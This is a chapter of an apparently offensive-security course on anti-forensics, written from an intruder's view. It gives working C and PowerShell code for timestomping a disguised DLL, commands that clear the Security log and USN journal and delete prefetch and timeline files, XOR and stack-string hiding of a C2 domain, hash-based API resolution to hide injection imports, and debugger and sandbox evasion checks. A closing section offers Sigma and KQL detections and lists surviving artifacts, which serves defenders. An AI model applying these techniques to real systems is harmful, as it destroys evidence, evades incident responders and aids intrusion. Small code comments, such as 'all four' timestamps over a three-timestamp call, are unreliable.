Chapter 133

Anti-Analysis and Anti-Forensics

Covering tracks and complicating analyst work: NTFS timestamp manipulation (timestomping), selective Event Log record deletion, USN journal clearing, string XOR obfuscation, dynamic API resolution to hide imports, executable packing concepts, and anti-debug / anti-sandbox techniques that evade automated analysis sandboxes.

Scenario

Your operation is complete. Now the IR team is on-site. Their timeline reconstruction tool will show file creation timestamps, event log entries, and prefetch data. Your goal: make reconstruction as difficult as possible, delay attribution, and ideally eliminate the forensic artifacts that establish when and how you entered the network. Timestomping makes your dropped files appear to have existed before your access. Selective log clearing removes specific authentication events. String obfuscation in your binary means the analyst can't run strings malware.exe and see your C2 domain. This chapter covers each technique and — crucially for your career — what each technique looks like to a defender.

NTFS Timestamp Manipulation (Timestomping)

NTFS stores four timestamps per file in $STANDARD_INFORMATION (SI) attribute: $SI_Created (file creation time) $SI_Modified (last write time) $SI_MFT_Modified (MFT record change time — $MFTMAP attribute) $SI_Accessed (last access time) AND a second set in $FILE_NAME (FN) attribute: $FN_Created, $FN_Modified, $FN_MFT_Modified, $FN_Accessed Tools like SetFileTime() only modify $SI timestamps. $FN timestamps are updated by the kernel on file creation/rename — harder to forge. Forensic implication: If $SI timestamps predate $FN timestamps: timestomping indicator (File "created" in 2020 but FN record shows 2026 — clear mismatch) Legitimate $SI vs $FN mismatch: rare but exists (e.g., NTFS junction operations) $FN modification requires low-level NTFS write (kernel driver or raw disk access) Most timestompers only modify $SI → detectable by comparing SI vs FN
// Timestomping via SetFileTime() — modifies $SI timestamps only
// Make malware.exe look like it was created on 2020-01-15 (blend with system files)

BOOL Timestomp(const wchar_t* filePath, SYSTEMTIME* fakeST) {
    HANDLE hFile = CreateFileW(filePath,
                                 FILE_WRITE_ATTRIBUTES,
                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                                 NULL, OPEN_EXISTING,
                                 FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    FILETIME ft;
    SystemTimeToFileTime(fakeST, &ft);

    // Set all four SI timestamps to the fake date
    BOOL ok = SetFileTime(hFile,
                           &ft,    // created
                           &ft,    // last access
                           &ft);   // last write
    CloseHandle(hFile);
    return ok;
}

// Usage: make malware.dll timestamps match legitimate Windows DLLs in same folder
SYSTEMTIME fakeTime = { .wYear=2020, .wMonth=3, .wDay=15,
                        .wHour=10, .wMinute=22, .wSecond=0 };
Timestomp(L"C:\\Windows\\System32\\msupdate.dll", &fakeTime);

// PowerShell timestomp (simpler):
// (Get-Item "C:\Temp\evil.dll").CreationTime   = "2020-01-15 10:22:00"
// (Get-Item "C:\Temp\evil.dll").LastWriteTime  = "2020-01-15 10:22:00"
// (Get-Item "C:\Temp\evil.dll").LastAccessTime = "2020-01-15 10:22:00"

Selective Event Log Clearing

// Full log clear (nuclear — immediately suspicious):
// wevtutil cl Security
// wevtutil cl System
// These generate Event 1102 (Security log cleared) and 104 (System log cleared)

// Selective record deletion: clear specific event IDs or time ranges
// Windows Event Log format: .evtx binary — can be parsed and reconstructed

void ClearSpecificEvents() {
    // Method: backup log → filter out attacker events → restore
    // Requires: SYSTEM + SeBackupPrivilege + manual .evtx parsing
    // Most practical approach: use wevtutil with XPath filter

    // Export log without specific event IDs (4624 = logon, 4625 = failed logon)
    system("wevtutil qe Security "
           "\"/q:*[System[(EventID != 4624) and (EventID != 4625) "
           "and (EventID != 4648) and (EventID != 4776)]]\" "
           "/f:RenderedXml > C:\\Temp\\sec_filtered.xml");

    // Clear the real Security log
    system("wevtutil cl Security");

    // Restore the filtered log (minus attacker-related events)
    // This is complex — wevtutil import-log requires specific XML format

    // Simpler alternative: just delete during working hours when log rotation
    // naturally clears old entries — or target event IDs for specific session only
}

// PowerShell: clear only events from specific time window (attacker session)
$attackStart = [datetime]"2026-09-13 02:00:00"
$attackEnd   = [datetime]"2026-09-13 04:00:00"

$filter = @{
    LogName   = 'Security'
    StartTime = $attackStart
    EndTime   = $attackEnd
    Id        = @(4624, 4648, 4776, 4672, 4768, 4769)
}
# Get-WinEvent -FilterHashtable $filter | ForEach-Object { ... }
# Note: no native API to delete individual records without log backup/restore
# Most operators just wipe entire log — it's logged as Event 1102 either way

USN Journal and Prefetch Cleanup

# USN (Update Sequence Number) Journal: records every file system change on NTFS
# Forensically critical — shows file creation/modification even if file is deleted
# Survives file deletion: journal entry persists until wrapped by new entries

# Clear USN journal (requires admin):
fsutil usn deletejournal /d C:          # delete entire USN journal
fsutil usn createjournal m=0x10000000 a=0x800000 C:  # recreate with large size

# Prefetch files: Windows records program execution metadata
# Location: C:\Windows\Prefetch\*.pf
# Contains: executable name, hash, run count, last run timestamps
# Survives process termination — persists until prefetch cache fills

# Delete specific prefetch entries:
Remove-Item "C:\Windows\Prefetch\MALWARE*" -Force
Remove-Item "C:\Windows\Prefetch\POWERSHELL*" -Force

# Windows 10 Timeline (ActivityCache.db) — records app usage
# Location: C:\Users\*\AppData\Local\ConnectedDevicesPlatform\*\ActivitiesCache.db
# SQLite database — can be cleared selectively
$db = "$env:LOCALAPPDATA\ConnectedDevicesPlatform\L.*\ActivitiesCache.db"
Stop-Service "CDPUserSvc*" -Force
Remove-Item $db -Force

# ShimCache (AppCompatCache): records every executable run on system
# HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache
# Cleared on reboot only — no live-clear without registry rewrite
# Forensic note: ShimCache entry does NOT mean code ran, only that it was seen on disk

String Obfuscation

// XOR-obfuscated string literals — prevents strings.exe / FLOSS from finding C2 domain
// Key rotates per string so all-zero XOR is detectable pattern is avoided

// Compile-time obfuscation macro (simulated with runtime XOR):
#define XORKEY  0x5A

static void XorDecrypt(BYTE* buf, DWORD len, BYTE key) {
    for (DWORD i = 0; i < len; i++) buf[i] ^= key ^ (BYTE)i; // rolling XOR
}

// Encrypted string table (generated by build-time tool)
static BYTE s_C2Host[] = { 0x1D, 0x3B, 0x4F, 0x2C, 0x1A, 0x7B, 0x48,
                            0x3E, 0x59, 0x2F, 0x00 }; // XOR of "update.cdn"

const char* GetC2Host() {
    static char buf[64];
    memcpy(buf, s_C2Host, sizeof(s_C2Host));
    XorDecrypt((BYTE*)buf, sizeof(s_C2Host)-1, XORKEY);
    return buf;
}

// Better: compile-time string encryption (Metastring / ADVobfuscator pattern)
// Template metaprogramming applies XOR at compile time → no plaintext in .rdata
// Result: strings only exist decrypted in stack memory during execution
// FLOSS (FireEye) can still detect via emulation, but strings.exe cannot

// Stack string construction (avoids .rdata entirely):
void BuildC2Domain(char* out) {
    out[0]='u'; out[1]='p'; out[2]='d'; out[3]='a'; out[4]='t'; out[5]='e';
    out[6]='.'; out[7]='c'; out[8]='d'; out[9]='n'; out[10]='\0';
    // Built on stack at runtime — no string literal in PE .rdata section
}

Dynamic API Resolution (Import Hiding)

// Standard PE import table: lists every DLL and function the binary uses.
// Analyst runs "peview.exe" or "dumpbin /imports" → sees VirtualAllocEx,
// WriteProcessMemory, CreateRemoteThread → immediately flags as injector.
//
// Dynamic resolution: resolve APIs at runtime by walking PEB module list.
// No imports in the IAT — binary appears to import only benign functions.

typedef HMODULE (WINAPI* LoadLibraryA_t)(LPCSTR);
typedef FARPROC  (WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);

// Walk PEB to find kernel32.dll base address without calling GetModuleHandle
PVOID GetKernel32Base() {
    PPEB peb = (PPEB)__readgsqword(0x60); // x64: GS:[0x60] = PEB
    PLIST_ENTRY list = peb->Ldr->InMemoryOrderModuleList.Flink;
    // [0]=exe [1]=ntdll [2]=kernel32 (order is reliable on Windows)
    list = list->Flink; // skip exe
    list = list->Flink; // skip ntdll
    list = list->Flink; // kernel32
    PLDR_DATA_TABLE_ENTRY entry =
        CONTAINING_RECORD(list, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    return entry->DllBase;
}

// Resolve function from module by hash (avoids string "GetProcAddress" in binary)
FARPROC GetProcByHash(PVOID moduleBase, DWORD targetHash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dos->e_lfanew);
    DWORD expRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)moduleBase + expRVA);

    DWORD* names    = (DWORD*)((BYTE*)moduleBase + exp->AddressOfNames);
    WORD*  ordinals = (WORD*) ((BYTE*)moduleBase + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)moduleBase + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (const char*)((BYTE*)moduleBase + names[i]);
        if (DJB2Hash(name) == targetHash) {
            DWORD rva = funcs[ordinals[i]];
            return (FARPROC)((BYTE*)moduleBase + rva);
        }
    }
    return NULL;
}

// Usage: no VirtualAllocEx in IAT — resolved at runtime by hash
// #define H_VirtualAllocEx   0xE553A458  // DJB2 of "VirtualAllocEx"
typedef LPVOID (WINAPI* VirtualAllocEx_t)(HANDLE,LPVOID,SIZE_T,DWORD,DWORD);
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)
    GetProcByHash(GetKernel32Base(), H_VirtualAllocEx);

Anti-Debug and Anti-Sandbox

// Covered in depth in ch117 (Staging). Summary for quick reference:

BOOL IsAnalysisEnvironment() {
    // --- Debugger detection ---
    if (IsDebuggerPresent()) return TRUE;

    // NtQueryInformationProcess ProcessDebugPort
    DWORD_PTR dbgPort = 0;
    NtQueryInformationProcess(GetCurrentProcess(), 7,
                              &dbgPort, sizeof(dbgPort), NULL);
    if (dbgPort) return TRUE;

    // Heap flag (NtGlobalFlag): set to 0x70 when app debugged
    PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->NtGlobalFlag & 0x70) return TRUE;

    // --- VM detection ---
    int cpuInfo[4];
    __cpuid(cpuInfo, 1);
    if (cpuInfo[2] >> 31 & 1) return TRUE; // hypervisor bit

    // --- Sandbox behavior ---
    if (GetProcessCount() < 50) return TRUE; // too few processes

    // User idle time: real users have non-zero idle; sandbox = very long idle
    LASTINPUTINFO li = { .cbSize = sizeof(li) };
    GetLastInputInfo(&li);
    if ((GetTickCount() - li.dwTime) > 10 * 60 * 1000) return TRUE; // >10 min idle

    // Screen resolution: sandboxes often use small default resolutions
    if (GetSystemMetrics(SM_CXSCREEN) < 800) return TRUE;

    return FALSE;
}

Detection Engineering — What Anti-Forensics Leaves Behind

-- The irony: most anti-forensic actions generate their own forensic artifacts.

-- Timestomping indicators:
--   $SI_Created timestamp OLDER than $FN_Created timestamp = timestomped
--   Tools: MFTECmd (Eric Zimmermann), Autopsy MFT module
--   $FILE_NAME timestamps require kernel/raw-disk write to modify — most
--   commodity malware doesn't bother, leaving the mismatch intact.

-- Sigma: Windows Event Log cleared
title: Windows Security Event Log Cleared
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 1102   # Security audit log cleared
  condition: selection
level: critical

-- Sigma: USN journal deletion
title: USN Journal Deleted (Anti-Forensics)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\fsutil.exe'
    CommandLine|contains|all:
      - 'usn'
      - 'deletejournal'
  condition: selection
level: high

-- Sigma: dynamic API resolution via PEB walk (behavior pattern)
-- No direct event — detected through:
--   Memory scanning: no imports but suspicious behavior
--   EDR: process reads PEB.Ldr → InMemoryOrderModuleList without legitimate reason
--   API telemetry: VirtualAllocEx called from process with no VirtualAllocEx import

-- MDE KQL: prefetch deleted
DeviceFileEvents
| where FolderPath startswith "C:\\Windows\\Prefetch\\"
| where ActionType == "FileDeleted"
| where InitiatingProcessFileName != "svchost.exe"  // prefetch maintenance
| project Timestamp, DeviceName, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Q&A

If an attacker wipes Event Logs and USN Journal, what forensic artifacts remain?

A thorough anti-forensics pass covers many obvious artifacts, but several sources remain even after log clearing, USN deletion, and file removal. $MFT records: NTFS MFT entries for deleted files remain on disk until the cluster is reallocated. MFTECmd and Autopsy can recover filename, size, timestamps, and parent directory for deleted files. $LogFile: NTFS transaction log — separate from the USN journal, used for crash recovery. Records recent metadata operations and survives USN deletion. Prefetch: even if specific prefetch files are deleted, the SuperFetch database (C:\Windows\Prefetch\ReadyBoot\) may preserve execution evidence. WMI database (OBJECTS.DATA) contains subscription evidence even after the subscription is "removed" if the binary blob wasn't properly rewritten. Registry hive slack space: deleted registry keys leave recoverable slack space in the hive file that RegRipper and Registry Explorer can parse. Volume shadow copies: if vssadmin shadows weren't deleted, old copies of Security logs, SAM, NTDS, and registry hives are recoverable. Memory forensics: a live memory image (WinPmem/Magnet RAM) captures process listings, network connections, injected shellcode, and decrypted strings regardless of disk cleaning. EDR telemetry: if the environment has a cloud-based EDR (CrowdStrike, SentinelOne, MDE), all telemetry was already shipped to the cloud before the attacker touched the machine — local log deletion has zero effect on EDR cloud evidence. For detection engineers: EDR with cloud telemetry is the most powerful forensic preservation tool precisely because it can't be cleaned from the endpoint.